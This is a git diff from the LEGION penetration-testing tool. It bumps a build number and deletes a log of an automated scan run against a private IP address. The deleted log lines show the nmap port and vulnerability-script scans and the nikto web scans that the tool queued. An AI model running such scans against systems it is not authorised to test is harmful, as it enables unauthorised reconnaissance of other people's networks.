deletions(-) create mode 100644 .justcloned diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b diff --git a/controller/controller.py b/controller/controller.py index f9a42f29..4baf1309 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.2' - self.build = '1551207428' + self.build = '1551210176' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/log/legion-db.log b/log/legion-db.log index 48c03bb3..8b137891 100644 --- a/log/legion-db.log +++ b/log/legion-db.log @@ -1,244 +1 @@ -{"time": "2019-02-26 13:05:59,144", "name": "Creating temporary files..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 30}} -{"time": "2019-02-26 13:05:59,147", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 32}} -{"time": "2019-02-26 13:05:59,152", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-usernames.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} -{"time": "2019-02-26 13:05:59,155", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-passwords.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} -{"time": "2019-02-26 13:05:59,163", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/tmp/legion-sfautv7t.legion", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 42}} -{"time": "2019-02-26 13:05:59,865", "name": "Loading settings file..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "settings", "filename": "settings.py", "line": 26}} -{"time": "2019-02-26 13:06:14,835", "name": "runStagedNmap called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:06:14,840", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:06:14,843", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:06:14,844", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:06:14,850", "name": "Waiting 0.33s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:06:15,200", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:06:15,206", "name": "Queuing: nmap -T4 -sC -sSU -p T:80,443 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130614838488-nmapstage1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:06:15,258", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:06:15,260", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:06:15,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:06:15,934", "name": "runCommand called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:06:15,934", "name": "runCommand connected for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:07:36,413", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:36,415", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:37,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:37,403", "name": "Process 1 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:07:37,475", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:07:37,629", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:37,632", "name": "Waiting 0.05s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:37,726", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:37,732", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:07:37,742", "name": "runStagedNmap called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:07:37,761", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:37,776", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:37,781", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:37,798", "name": "Waiting 0.38s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:38,236", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:38,246", "name": "Queuing: nmap -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130737760118-nmapstage2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:38,312", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:38,315", "name": "Waiting 0.85s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:39,186", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:39,189", "name": "runCommand called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:39,190", "name": "runCommand connected for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:07:39,222", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:07:39,224", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:07:39,236", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:39,239", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:39,242", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:39,244", "name": "Waiting 0.22s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:39,494", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:39,499", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739226281-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:39,543", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:39,546", "name": "Waiting 0.35s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:39,914", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:39,916", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:39,918", "name": "Running tools for: https on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:07:39,933", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:39,936", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:39,938", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:39,943", "name": "Waiting 0.97s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:40,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:40,936", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739922613-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:40,975", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:40,978", "name": "Waiting 0.25s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:41,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:41,273", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:41,276", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:07:41,278", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:07:45,641", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:45,643", "name": "Waiting 0.73s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:46,396", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:46,566", "name": "Process 2 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:07:46,658", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:07:46,842", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:46,845", "name": "Waiting 0.49s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:47,358", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:47,360", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:07:47,365", "name": "runStagedNmap called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:07:47,368", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:47,375", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:47,381", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:47,395", "name": "Waiting 0.57s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:47,999", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:48,004", "name": "Queuing: nmap -sV --script=./scripts/nmap/vulners.nse -vvvv 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130747368080-nmapstage3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:48,048", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:48,050", "name": "Waiting 0.44s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:48,519", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:48,521", "name": "runCommand called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:48,522", "name": "runCommand connected for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:07:48,527", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:07:48,528", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:07:48,534", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:07:49,397", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:49,398", "name": "Waiting 0.15s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:49,564", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:51,250", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:51,252", "name": "Waiting 0.84s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:52,094", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:56,552", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:56,554", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:57,445", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:57,451", "name": "Process 4 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:07:57,456", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:07:57,474", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:57,475", "name": "Waiting 0.46s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:57,965", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:57,967", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:08:02,105", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:08:02,107", "name": "Waiting 0.66s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:08:02,770", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:09:35,726", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:09:35,727", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:09:36,467", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:09:36,473", "name": "Process 3 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:09:36,479", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:09:36,480", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:09:36,481", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:09:37,006", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:09:37,008", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:10:56,316", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:56,318", "name": "Waiting 0.58s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:56,924", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:57,060", "name": "Process 5 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:10:57,178", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:10:57,415", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:57,419", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:58,310", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:58,313", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:10:58,316", "name": "runStagedNmap called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:10:58,320", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:10:58,326", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:10:58,328", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:58,330", "name": "Waiting 0.99s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:59,340", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:59,344", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131058319994-nmapstage4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:10:59,388", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:59,391", "name": "Waiting 0.09s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:59,497", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:59,499", "name": "runCommand called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:10:59,500", "name": "runCommand connected for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:10:59,505", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:10:59,506", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:10:59,507", "name": "Running tools for: domain on 192.168.2.2:53", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:10:59,516", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:10:59,523", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:10:59,525", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:10:59,535", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:59,537", "name": "Waiting 0.53s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:00,089", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:00,094", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131059518548-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:11:00,139", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:00,141", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:00,588", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:00,590", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:11:00,591", "name": "Running tools for: http on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:11:00,600", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:11:00,604", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:11:00,605", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:00,606", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:00,856", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:00,861", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131100592831-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:11:00,905", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:00,909", "name": "Waiting 0.76s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:01,688", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:01,690", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:11:01,691", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:11:01,692", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": 